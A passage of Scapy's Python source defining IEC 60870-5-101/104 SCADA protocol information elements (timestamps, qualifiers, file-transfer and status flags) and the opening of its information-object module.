two CP56TIME2A timestamps for defining a range """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('start_sec_milli', 0), BitEnumField('start_iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), MayEnd(BitEnumField('start_gen', 0, 1, IEC104_IE_CP56TIME2A.GEN_FLAGS)), # only valid in monitor direction ToDo: special treatment needed? BitField('start_minutes', 0, 6), BitEnumField('start_su', 0, 1, IEC104_IE_CP56TIME2A.SU_FLAGS), BitField('start_reserved_2', 0, 2), BitField('start_hours', 0, 5), BitEnumField('start_weekday', 0, 3, IEC104_IE_CP56TIME2A.WEEK_DAY_FLAGS), BitField('start_day_of_month', 0, 5), BitField('start_reserved_3', 0, 4), BitField('start_month', 0, 4), BitField('start_reserved_4', 0, 1), BitField('start_year', 0, 7), ] class IEC104_IE_CP56TIME2A_STOP_TIME(IEC104_IE_CP56TIME2A): """ derived IE, used for ASDU that requires two CP56TIME2A timestamps for defining a range """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('stop_sec_milli', 0), BitEnumField('stop_iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), MayEnd(BitEnumField('stop_gen', 0, 1, IEC104_IE_CP56TIME2A.GEN_FLAGS)), # only valid in monitor direction ToDo: special treatment needed? BitField('stop_minutes', 0, 6), BitEnumField('stop_su', 0, 1, IEC104_IE_CP56TIME2A.SU_FLAGS), BitField('stop_reserved_2', 0, 2), BitField('stop_hours', 0, 5), BitEnumField('stop_weekday', 0, 3, IEC104_IE_CP56TIME2A.WEEK_DAY_FLAGS), BitField('stop_day_of_month', 0, 5), BitField('stop_reserved_3', 0, 4), BitField('stop_month', 0, 4), BitField('stop_reserved_4', 0, 1), BitField('stop_year', 0, 7), ] class IEC104_IE_CP24TIME2A(IEC104_IE_CP56TIME2A): """ CP24Time2a - dual time, 3 octets (milliseconds, valid flag, minutes) EN 60870-5-101:2003, sec. 7.2.6.19 (p. 51) time representation format according IEC 60870-5-4:1993, sec. 6.8, p. 23, octet 4..7 discarded """ informantion_element_fields = \ IEC104_IE_CP56TIME2A.informantion_element_fields[:4] class IEC104_IE_CP16TIME2A: """ CP16Time2a - dual time, 2 octets (milliseconds) EN 60870-5-101:2003, sec. 7.2.6.20 (p. 51) """ informantion_element_fields = [ LEShortField('sec_milli', 0) ] class IEC104_IE_CP16TIME2A_ELAPSED: """ derived IE, used in ASDU using more than one CP* field and this one is used to show an elapsed time """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('elapsed_sec_milli', 0) ] class IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE: """ derived IE, used in ASDU using more than one CP* field and this one is used to show an protection activation time """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('prot_act_sec_milli', 0) ] class IEC104_IE_CP16TIME2A_PROTECTION_COMMAND: """ derived IE, used in ASDU using more than one CP* field and this one is used to show an protection command time """ _DERIVED_IE = True informantion_element_fields = [ LEShortField('prot_cmd_sec_milli', 0) ] @_generate_attributes_and_dicts class IEC104_IE_COI: """ COI - cause of initialization EN 60870-5-101:2003, sec. 7.2.6.21 (p. 51) """ LPC_FLAG_LOCAL_PARAMETER_UNCHANGED = 0 LPC_FLAG_LOCAL_PARAMETER_CHANGED = 1 LPC_FLAGS = { LPC_FLAG_LOCAL_PARAMETER_UNCHANGED: 'unchanged', LPC_FLAG_LOCAL_PARAMETER_CHANGED: 'changed' } COI_FLAG_LOCAL_POWER_ON = 0 COI_FLAG_LOCAL_MANUAL_RESET = 1 COI_FLAG_REMOTE_RESET = 2 COI_FLAGS = { COI_FLAG_LOCAL_POWER_ON: 'local power on', COI_FLAG_LOCAL_MANUAL_RESET: 'manual reset', COI_FLAG_REMOTE_RESET: 'remote reset' } GENERATED_ATTRIBUTES = [ ('COI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', COI_FLAGS, 3, 31), ('COI_FLAG_PRIVATE_RESERVED', 'private reserved', COI_FLAGS, 32, 127) ] informantion_element_fields = [ BitEnumField('local_param_state', 0, 1, LPC_FLAGS), BitEnumField('coi', 0, 7, COI_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QOI: """ QOI - qualifier of interrogation EN 60870-5-101:2003, sec. 7.2.6.22 (p. 52) """ QOI_FLAG_UNUSED = 0 QOI_FLAG_STATION_INTERROGATION = 20 QOI_FLAG_GROUP_1_INTERROGATION = 21 QOI_FLAG_GROUP_2_INTERROGATION = 22 QOI_FLAG_GROUP_3_INTERROGATION = 23 QOI_FLAG_GROUP_4_INTERROGATION = 24 QOI_FLAG_GROUP_5_INTERROGATION = 25 QOI_FLAG_GROUP_6_INTERROGATION = 26 QOI_FLAG_GROUP_7_INTERROGATION = 27 QOI_FLAG_GROUP_8_INTERROGATION = 28 QOI_FLAG_GROUP_9_INTERROGATION = 29 QOI_FLAG_GROUP_10_INTERROGATION = 30 QOI_FLAG_GROUP_11_INTERROGATION = 31 QOI_FLAG_GROUP_12_INTERROGATION = 32 QOI_FLAG_GROUP_13_INTERROGATION = 33 QOI_FLAG_GROUP_14_INTERROGATION = 34 QOI_FLAG_GROUP_15_INTERROGATION = 35 QOI_FLAG_GROUP_16_INTERROGATION = 36 QOI_FLAGS = { QOI_FLAG_UNUSED: 'unused', QOI_FLAG_STATION_INTERROGATION: 'station interrogation', QOI_FLAG_GROUP_1_INTERROGATION: 'group 1 interrogation', QOI_FLAG_GROUP_2_INTERROGATION: 'group 2 interrogation', QOI_FLAG_GROUP_3_INTERROGATION: 'group 3 interrogation', QOI_FLAG_GROUP_4_INTERROGATION: 'group 4 interrogation', QOI_FLAG_GROUP_5_INTERROGATION: 'group 5 interrogation', QOI_FLAG_GROUP_6_INTERROGATION: 'group 6 interrogation', QOI_FLAG_GROUP_7_INTERROGATION: 'group 7 interrogation', QOI_FLAG_GROUP_8_INTERROGATION: 'group 8 interrogation', QOI_FLAG_GROUP_9_INTERROGATION: 'group 9 interrogation', QOI_FLAG_GROUP_10_INTERROGATION: 'group 10 interrogation', QOI_FLAG_GROUP_11_INTERROGATION: 'group 11 interrogation', QOI_FLAG_GROUP_12_INTERROGATION: 'group 12 interrogation', QOI_FLAG_GROUP_13_INTERROGATION: 'group 13 interrogation', QOI_FLAG_GROUP_14_INTERROGATION: 'group 14 interrogation', QOI_FLAG_GROUP_15_INTERROGATION: 'group 15 interrogation', QOI_FLAG_GROUP_16_INTERROGATION: 'group 16 interrogation' } GENERATED_ATTRIBUTES = [ ('QOI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QOI_FLAGS, 1, 19), ('QOI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QOI_FLAGS, 37, 63), ('QOI_FLAG_PRIVATE_RESERVED', 'private reserved', QOI_FLAGS, 64, 255) ] informantion_element_fields = [ ByteEnumField('qoi', 0, QOI_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QCC: """ QCC - qualifier of counter interrogation command EN 60870-5-101:2003, sec. 7.2.6.23 (p. 52) """ # request flags RQT_FLAG_UNUSED = 0 RQT_FLAG_GROUP_1_COUNTER_INTERROGATION = 1 RQT_FLAG_GROUP_2_COUNTER_INTERROGATION = 2 RQT_FLAG_GROUP_3_COUNTER_INTERROGATION = 3 RQT_FLAG_GROUP_4_COUNTER_INTERROGATION = 4 RQT_FLAG_GENERAL_COUNTER_INTERROGATION = 5 RQT_FLAGS = { RQT_FLAG_UNUSED: 'unused', RQT_FLAG_GROUP_1_COUNTER_INTERROGATION: 'counter group 1 ' 'interrogation', RQT_FLAG_GROUP_2_COUNTER_INTERROGATION: 'counter group 2 ' 'interrogation', RQT_FLAG_GROUP_3_COUNTER_INTERROGATION: 'counter group 3 ' 'interrogation', RQT_FLAG_GROUP_4_COUNTER_INTERROGATION: 'counter group 4 ' 'interrogation', RQT_FLAG_GENERAL_COUNTER_INTERROGATION: 'general counter ' 'interrogation', } GENERATED_ATTRIBUTES = [ ('RQT_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', RQT_FLAGS, 6, 31), ('RQT_FLAG_PRIVATE_RESERVED', 'private reserved', RQT_FLAGS, 32, 63), ] FRZ_FLAG_QUERY = 0 FRZ_FLAG_SAVE_COUNTER_WITHOUT_RESET = 1 FRZ_FLAG_SAVE_COUNTER_AND_RESET = 2 FRZ_FLAG_COUNTER_RESET = 3 FRZ_FLAGS = { FRZ_FLAG_QUERY: 'query', FRZ_FLAG_SAVE_COUNTER_WITHOUT_RESET: 'save counter, no counter reset', FRZ_FLAG_SAVE_COUNTER_AND_RESET: 'save counter and reset counter', FRZ_FLAG_COUNTER_RESET: 'reset counter' } informantion_element_fields = [ BitEnumField('frz', 0, 2, FRZ_FLAGS), BitEnumField('rqt', 0, 6, RQT_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QPM: """ QPM - qualifier of parameter of measured values EN 60870-5-101:2003, sec. 7.2.6.24 (p. 53) """ KPA_FLAG_UNUSED = 0 KPA_FLAG_THRESHOLD = 1 KPA_FLAG_SMOOTHING_FACTOR = 2 KPA_FLAG_LOWER_LIMIT_FOR_MEAS_TX = 3 KPA_FLAG_UPPER_LIMIT_FOR_MEAS_TX = 4 KPA_FLAGS = { KPA_FLAG_UNUSED: 'unused', KPA_FLAG_THRESHOLD: 'threshold', KPA_FLAG_SMOOTHING_FACTOR: 'smoothing factor', KPA_FLAG_LOWER_LIMIT_FOR_MEAS_TX: 'lower limit meas transmit', KPA_FLAG_UPPER_LIMIT_FOR_MEAS_TX: 'upper limit meas transmit' } GENERATED_ATTRIBUTES = [ ('KPA_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', KPA_FLAGS, 5, 31), ('KPA_FLAG_PRIVATE_RESERVED', 'private reserved', KPA_FLAGS, 32, 63) ] LPC_FLAG_LOCAL_PARAMETER_MOT_CHANGED = 0 LPC_FLAG_LOCAL_PARAMETER_CHANGED = 1 LPC_FLAGS = { LPC_FLAG_LOCAL_PARAMETER_MOT_CHANGED: 'local parameter not changed', LPC_FLAG_LOCAL_PARAMETER_CHANGED: 'local parameter changed' } POP_FLAG_PARAM_EFFECTIVE = 0 POP_FLAG_PARAM_INEFFECTIVE = 1 POP_FLAGS = { POP_FLAG_PARAM_EFFECTIVE: 'parameter effective', POP_FLAG_PARAM_INEFFECTIVE: 'parameter ineffective', } informantion_element_fields = [ BitEnumField('pop', 0, 1, POP_FLAGS), # usually unused, should be zero BitEnumField('lpc', 0, 1, LPC_FLAGS), # usually unused, should be zero BitEnumField('kpa', 0, 6, KPA_FLAGS), ] @_generate_attributes_and_dicts class IEC104_IE_QPA: """ QPA - qualifier of parameter activation EN 60870-5-101:2003, sec. 7.2.6.25 (p. 53) """ QPA_FLAG_UNUSED = 0 QPA_FLAG_ACT_DEACT_LOADED_PARAM_OA_0 = 1 QPA_FLAG_ACT_DEACT_LOADED_PARAM = 2 QPA_FLAG_ACT_DEACT_CYCLIC_TX = 3 QPA_FLAGS = { QPA_FLAG_UNUSED: 'unused', QPA_FLAG_ACT_DEACT_LOADED_PARAM_OA_0: 'act/deact loaded parameters ' 'for object addr 0', QPA_FLAG_ACT_DEACT_LOADED_PARAM: 'act/deact loaded parameters for ' 'given object addr', QPA_FLAG_ACT_DEACT_CYCLIC_TX: 'act/deact cyclic transfer of object ' 'given by object addr', } GENERATED_ATTRIBUTES = [ ('QPA_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QPA_FLAGS, 4, 127), ('QPA_FLAG_PRIVATE_RESERVED', 'private reserved', QPA_FLAGS, 128, 255) ] informantion_element_fields = [ ByteEnumField('qpa', 0, QPA_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QRP: """ QRP - Qualifier of reset process command EN 60870-5-101:2003, sec. 7.2.6.27 (p. 54) """ QRP_FLAG_UNUSED = 0 QRP_FLAG_GENERAL_PROCESS_RESET = 1 QRP_FLAG_RESET_EVENT_BUFFER = 2 QRP_FLAGS = { QRP_FLAG_UNUSED: 'unsued', QRP_FLAG_GENERAL_PROCESS_RESET: 'general process reset', QRP_FLAG_RESET_EVENT_BUFFER: 'reset event buffer' } GENERATED_ATTRIBUTES = [ ('QRP_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QRP_FLAGS, 3, 127), ('QRP_FLAG_PRIVATE_RESERVED', 'private reserved', QRP_FLAGS, 128, 255), ] informantion_element_fields = [ ByteEnumField('qrp', 0, QRP_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_FRQ: """ FRQ - file ready qualifier EN 60870-5-101:2003, sec. 7.2.6.28 (p. 54) """ FR_FLAG_UNUSED = 0 FR_FLAGS = { FR_FLAG_UNUSED: 'unused' } GENERATED_ATTRIBUTES = [ ('FR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', FR_FLAGS, 1, 63), ('FR_FLAG_PRIVATE_RESERVED', 'private reserved', FR_FLAGS, 64, 127), ] FRACK_FLAG_POSITIVE_ACK = 0 FRACK_FLAG_NEGATIVE_ACK = 1 FRACK_FLAGS = { FRACK_FLAG_POSITIVE_ACK: 'positive ack', FRACK_FLAG_NEGATIVE_ACK: 'negative ack' } informantion_element_fields = [ BitEnumField('fr_ack', 0, 1, FRACK_FLAGS), BitEnumField('fr', 0, 7, FR_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_SRQ: """ SRQ - sequence ready qualifier EN 60870-5-101:2003, sec. 7.2.6.29 (p. 54) """ SR_FLAG_UNUSED = 0 SR_FLAGS = { SR_FLAG_UNUSED: 'unused' } GENERATED_ATTRIBUTES = [ ('SR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', SR_FLAGS, 1, 63), ('SR_FLAG_PRIVATE_RESERVED', 'private reserved', SR_FLAGS, 64, 127), ] SLOAD_FLAG_SECTION_READY = 0 SLOAD_FLAG_SECTION_NOT_READY = 1 SLAOD_FLAGS = { SLOAD_FLAG_SECTION_READY: 'section ready', SLOAD_FLAG_SECTION_NOT_READY: 'section not ready' } informantion_element_fields = [ BitEnumField('section_load_state', 0, 1, SLAOD_FLAGS), BitEnumField('sr', 0, 7, SR_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_SCQ: """ SCQ - select and call qualifier EN 60870-5-101:2003, sec. 7.2.6.30 (p. 55) """ SEL_CALL_FLAG_UNUSED = 0 SEL_CALL_FLAG_FILE_SELECT = 1 SEL_CALL_FLAG_FILE_REQUEST = 2 SEL_CALL_FLAG_FILE_ABORT = 3 SEL_CALL_FLAG_FILE_DELETE = 4 SEL_CALL_FLAG_SECTION_SELECTION = 5 SEL_CALL_FLAG_SECTION_REQUEST = 6 SEL_CALL_FLAG_SECTION_ABORT = 7 SEL_CALL_FLAGS = { SEL_CALL_FLAG_UNUSED: 'unused', SEL_CALL_FLAG_FILE_SELECT: 'file select', SEL_CALL_FLAG_FILE_REQUEST: 'file request', SEL_CALL_FLAG_FILE_ABORT: 'file abort', SEL_CALL_FLAG_FILE_DELETE: 'file delete', SEL_CALL_FLAG_SECTION_SELECTION: 'section selection', SEL_CALL_FLAG_SECTION_REQUEST: 'section request', SEL_CALL_FLAG_SECTION_ABORT: 'section abort' } SEL_CALL_ERR_FLAG_UNUSED = 0 SEL_CALL_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL = 1 SEL_CALL_ERR_FLAG_INVALID_CHECKSUM = 2 SEL_CALL_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE = 3 SEL_CALL_ERR_FLAG_UNEXPECTED_FILENAME = 4 SEL_CALL_ERR_FLAG_UNEXPECTED_SECTION_NAME = 5 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_6 = 6 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_7 = 7 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_8 = 8 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_9 = 9 SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_10 = 10 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_11 = 11 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_12 = 12 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_13 = 13 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_14 = 14 SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_15 = 15 SEL_CALL_ERR_FLAGS = { SEL_CALL_ERR_FLAG_UNUSED: 'unused', SEL_CALL_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL: 'requested memory area ' 'not available', SEL_CALL_ERR_FLAG_INVALID_CHECKSUM: 'invalid checksum', SEL_CALL_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE: 'unexpected ' 'communication ' 'service', SEL_CALL_ERR_FLAG_UNEXPECTED_FILENAME: 'unexpected file name', SEL_CALL_ERR_FLAG_UNEXPECTED_SECTION_NAME: 'unexpected section name' } GENERATED_ATTRIBUTES = [ ('SEL_CALL_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', SEL_CALL_FLAGS, 8, 10), ('SEL_CALL_FLAG_PRIVATE_RESERVED', 'private reserved', SEL_CALL_FLAGS, 11, 15), ('SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', SEL_CALL_ERR_FLAGS, 6, 10), ('SEL_CALL_ERR_FLAG_PRIVATE_RESERVED', 'private reserved', SEL_CALL_ERR_FLAGS, 11, 15) ] informantion_element_fields = [ BitEnumField('errors', 0, 4, SEL_CALL_ERR_FLAGS), BitEnumField('select_call', 0, 4, SEL_CALL_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_LSQ: """ LSQ - last section or segment qualifier EN 60870-5-101:2003, sec. 7.2.6.31 (p. 55) """ LSQ_FLAG_UNUSED = 0 LSQ_FLAG_FILE_TRANSFER_NO_ABORT = 1 LSQ_FLAG_FILE_TRANSFER_ABORT = 2 LSQ_FLAG_SECTION_TRANSFER_NO_ABORT = 3 LSQ_FLAG_SECTION_TRANSFER_ABORT = 4 LSQ_FLAGS = { LSQ_FLAG_UNUSED: 'unused', LSQ_FLAG_FILE_TRANSFER_NO_ABORT: 'file transfer - no abort', LSQ_FLAG_FILE_TRANSFER_ABORT: 'file transfer - aborted', LSQ_FLAG_SECTION_TRANSFER_NO_ABORT: 'section transfer - no abort', LSQ_FLAG_SECTION_TRANSFER_ABORT: 'section transfer - aborted', } GENERATED_ATTRIBUTES = [ ('LSQ_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', LSQ_FLAGS, 5, 127), ('LSQ_FLAG_PRIVATE_RESERVED', 'private reserved', LSQ_FLAGS, 128, 255), ] informantion_element_fields = [ ByteEnumField('lsq', 0, LSQ_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_AFQ: """ AFQ - acknowledge file or section qualifier EN 60870-5-101:2003, sec. 7.2.6.32 (p. 55) """ ACK_FILE_OR_SEC_FLAG_UNUSED = 0 ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_FILE_TRANSFER = 1 ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_FILE_TRANSFER = 2 ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_SECTION_TRANSFER = 3 ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_SECTION_TRANSFER = 4 ACK_FILE_OR_SEC_FLAGS = { ACK_FILE_OR_SEC_FLAG_UNUSED: 'unused', ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_FILE_TRANSFER: 'positive acknowledge' ' file transfer', ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_FILE_TRANSFER: 'negative acknowledge' ' file transfer', ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_SECTION_TRANSFER: 'positive ' 'acknowledge ' 'section transfer', ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_SECTION_TRANSFER: 'negative ' 'acknowledge ' 'section transfer' } ACK_FILE_OR_SEC_ERR_FLAG_UNUSED = 0 ACK_FILE_OR_SEC_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL = 1 ACK_FILE_OR_SEC_ERR_FLAG_INVALID_CHECKSUM = 2 ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE = 3 ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_FILENAME = 4 ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_SECTION_NAME = 5 ACK_FILE_OR_SEC_ERR_FLAGS = { ACK_FILE_OR_SEC_ERR_FLAG_UNUSED: 'unused', ACK_FILE_OR_SEC_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL: 'requested memory ' 'area not available', ACK_FILE_OR_SEC_ERR_FLAG_INVALID_CHECKSUM: 'invalid checksum', ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE: 'unexpected' ' communica' 'tion ' 'service', ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_FILENAME: 'unexpected file name', ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_SECTION_NAME: 'unexpected ' 'section name' } GENERATED_ATTRIBUTES = [ ('ACK_FILE_OR_SEC_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', ACK_FILE_OR_SEC_FLAGS, 5, 10), ('ACK_FILE_OR_SEC_FLAG_PRIVATE_RESERVED', 'private reserved', ACK_FILE_OR_SEC_FLAGS, 11, 15), ('ACK_FILE_OR_SEC_ERR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', ACK_FILE_OR_SEC_ERR_FLAGS, 6, 10), ('ACK_FILE_OR_SEC_ERR_FLAG_PRIVATE_RESERVED', 'private reserved', ACK_FILE_OR_SEC_ERR_FLAGS, 11, 15) ] informantion_element_fields = [ BitEnumField('errors', 0, 4, ACK_FILE_OR_SEC_ERR_FLAGS), BitEnumField('ack_file_or_sec', 0, 4, ACK_FILE_OR_SEC_FLAGS) ] class IEC104_IE_NOF: """ NOF - name of file EN 60870-5-101:2003, sec. 7.2.6.33 (p. 56) """ informantion_element_fields = [ LEShortField('file_name', 0) ] class IEC104_IE_NOS: """ NOS - name of section EN 60870-5-101:2003, sec. 7.2.6.34 (p. 56) """ informantion_element_fields = [ ByteField('section_name', 0) ] class IEC104_IE_LOF: """ LOF - length of file or section EN 60870-5-101:2003, sec. 7.2.6.35 (p. 55) """ informantion_element_fields = [ ThreeBytesField('file_length', 0) ] class IEC104_IE_LOS: """ LOS - length of segment EN 60870-5-101:2003, sec. 7.2.6.36 (p. 56) """ informantion_element_fields = [ ByteField('segment_length', 0) ] class IEC104_IE_CHS: """ CHS - checksum EN 60870-5-101:2003, sec. 7.2.6.37 (p. 56) """ informantion_element_fields = [ ByteField('checksum', 0) ] @_generate_attributes_and_dicts class IEC104_IE_SOF: """ SOF - status of file EN 60870-5-101:2003, sec. 7.2.6.38 (p. 56) """ STATUS_FLAG_UNUSED = 0 STATUS_FLAGS = { STATUS_FLAG_UNUSED: 'unused' } GENERATED_ATTRIBUTES = [ ('STATUS_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', STATUS_FLAGS, 1, 15), ('STATUS_FLAG_PRIVATE_RESERVED', 'private reserved', STATUS_FLAGS, 16, 32) ] LFD_FLAG_NEXT_FILE_OF_DIR_FOLLOWS = 0 LFD_FLAG_LAST_FILE_OF_DIR = 1 LFD_FLAGS = { LFD_FLAG_NEXT_FILE_OF_DIR_FOLLOWS: 'next file of dir follows', LFD_FLAG_LAST_FILE_OF_DIR: 'last file of dir' } FOR_FLAG_NAME_DEFINES_FILE = 0 FOR_FLAG_NAME_DEFINES_SUBDIR = 1 FOR_FLAGS = { FOR_FLAG_NAME_DEFINES_FILE: 'name defines file', FOR_FLAG_NAME_DEFINES_SUBDIR: 'name defines subdirectory' } FA_FLAG_FILE_WAITS_FOR_TRANSFER = 0 FA_FLAG_FILE_TRANSFER_IS_ACTIVE = 1 FA_FLAGS = { FA_FLAG_FILE_WAITS_FOR_TRANSFER: 'file waits for transfer', FA_FLAG_FILE_TRANSFER_IS_ACTIVE: 'transfer of file active' } informantion_element_fields = [ BitEnumField('fa', 0, 1, FA_FLAGS), BitEnumField('for_', 0, 1, FOR_FLAGS), BitEnumField('lfd', 0, 1, LFD_FLAGS), BitEnumField('status', 0, 5, STATUS_FLAGS) ] @_generate_attributes_and_dicts class IEC104_IE_QOS: """ QOS - qualifier of set-point command EN 60870-5-101:2003, sec. 7.2.6.39 (p. 57) """ QL_FLAG_UNUSED = 0 QL_FLAGS = { QL_FLAG_UNUSED: 'unused' } GENERATED_ATTRIBUTES = [ ('QL_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QL_FLAGS, 1, 63), ('QL_FLAG_PRIVATE_RESERVED', 'private reserved', QL_FLAGS, 64, 127) ] SE_FLAG_EXECUTE = 0 SE_FLAG_SELECT = 1 SE_FLAGS = { SE_FLAG_EXECUTE: 'execute', SE_FLAG_SELECT: 'select' } informantion_element_fields = [ BitEnumField('action', 0, 1, SE_FLAGS), BitEnumField('ql', 0, 7, QL_FLAGS) ] class IEC104_IE_SCD: """ SCD - status and status change detection EN 60870-5-101:2003, sec. 7.2.6.40 (p. 57) """ ST_FLAG_STATE_OFF = 0 ST_FLAG_STATE_ON = 1 ST_FLAGS = { ST_FLAG_STATE_OFF: 'off', ST_FLAG_STATE_ON: 'on' } CD_FLAG_STATE_NOT_CHANGED = 0 CD_FLAG_STATE_CHANGED = 1 CD_FLAGS = { CD_FLAG_STATE_NOT_CHANGED: 'state not changed', CD_FLAG_STATE_CHANGED: 'state changed' } informantion_element_fields = [ BitEnumField('cd_16', 0, 1, CD_FLAGS), BitEnumField('cd_15', 0, 1, CD_FLAGS), BitEnumField('cd_14', 0, 1, CD_FLAGS), BitEnumField('cd_13', 0, 1, CD_FLAGS), BitEnumField('cd_12', 0, 1, CD_FLAGS), BitEnumField('cd_11', 0, 1, CD_FLAGS), BitEnumField('cd_10', 0, 1, CD_FLAGS), BitEnumField('cd_9', 0, 1, CD_FLAGS), BitEnumField('cd_8', 0, 1, CD_FLAGS), BitEnumField('cd_7', 0, 1, CD_FLAGS), BitEnumField('cd_6', 0, 1, CD_FLAGS), BitEnumField('cd_5', 0, 1, CD_FLAGS), BitEnumField('cd_4', 0, 1, CD_FLAGS), BitEnumField('cd_3', 0, 1, CD_FLAGS), BitEnumField('cd_2', 0, 1, CD_FLAGS), BitEnumField('cd_1', 0, 1, CD_FLAGS), BitEnumField('st_16', 0, 1, ST_FLAGS), BitEnumField('st_15', 0, 1, ST_FLAGS), BitEnumField('st_14', 0, 1, ST_FLAGS), BitEnumField('st_13', 0, 1, ST_FLAGS), BitEnumField('st_12', 0, 1, ST_FLAGS), BitEnumField('st_11', 0, 1, ST_FLAGS), BitEnumField('st_10', 0, 1, ST_FLAGS), BitEnumField('st_9', 0, 1, ST_FLAGS), BitEnumField('st_8', 0, 1, ST_FLAGS), BitEnumField('st_7', 0, 1, ST_FLAGS), BitEnumField('st_6', 0, 1, ST_FLAGS), BitEnumField('st_5', 0, 1, ST_FLAGS), BitEnumField('st_4', 0, 1, ST_FLAGS), BitEnumField('st_3', 0, 1, ST_FLAGS), BitEnumField('st_2', 0, 1, ST_FLAGS), BitEnumField('st_1', 0, 1, ST_FLAGS), ] class IEC104_IE_TSC: """ TSC - test sequence counter EN 60870-5-104:2006, sec. 8.8 (p. 44) """ informantion_element_fields = [ LEShortField('tsc', 0) ] ================================================ FILE: scapy/contrib/scada/iec104/iec104_information_objects.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Thomas Tannhaeuser # scapy.contrib.description = IEC-60870-5-104 ASDU layers / IO definitions # scapy.contrib.status = loads """ application service data units used by IEC 60870-5-101/104 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :description: This module provides the information object (IO) definitions used within the IEC 60870-5-101 and IEC 60870-5-104 protocol. normative references: - IEC 60870-5-101:2003 (sec. 7.3) - IEC 60870-5-104:2006 (sec. 8)) :NOTES: - this file contains all IO definitions from 101 and 104 - even if an IO is not used within 104 """ from scapy.config import conf from scapy.contrib.scada.iec104.iec104_fields import LEThreeBytesField from scapy.contrib.scada.iec104.iec104_information_elements import \ IEC104_IE_SIQ, IEC104_IE_CP24TIME2A, IEC104_IE_DIQ, IEC104_IE_VTI, \ IEC104_IE_QDS, IEC104_IE_BSI, IEC104_IE_NVA, IEC104_IE_SVA, \ IEC104_IE_R32_IEEE_STD_754, IEC104_IE_BCR, IEC104_IE_CP16TIME2A_ELAPSED, \ IEC104_IE_SEP, IEC104_IE_SPE, IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE, \ IEC104_IE_QDP, IEC104_IE_CP16TIME2A_PROTECTION_COMMAND, IEC104_IE_OCI, \ IEC104_IE_SCD, IEC104_IE_CP56TIME2A, IEC104_IE_SCO, IEC104_IE_DCO, \ IEC104_IE_RCO, IEC104_IE_QOS, IEC104_IE_QOI, IEC104_IE_QCC, \ IEC104_IE_FBP, IEC104_IE_QRP, IEC104_IE_CP16TIME2A, IEC104_IE_QPM, \ IEC104_IE_QPA, IEC104_IE_NOF, IEC104_IE_LOF, IEC104_IE_FRQ, \ IEC104_IE_NOS, IEC104_IE_SRQ, IEC104_IE_SCQ, IEC104_IE_CHS, \ IEC104_IE_LSQ, IEC104_IE_AFQ, IEC104_IE_SOF, IEC104_IE_COI, \ IEC104_IE_CP56TIME2A_START_TIME, IEC104_IE_CP56TIME2A_STOP_TIME, \ IEC104_IE_TSC from scapy.fields import XStrLenField, BitFieldLenField from scapy.packet import Packet IEC104_IO_ID_UNDEFINED = 0x00 IEC104_IO_ID_M_SP_NA_1 = 0x01 IEC104_IO_ID_M_SP_TA_1 = 0x02 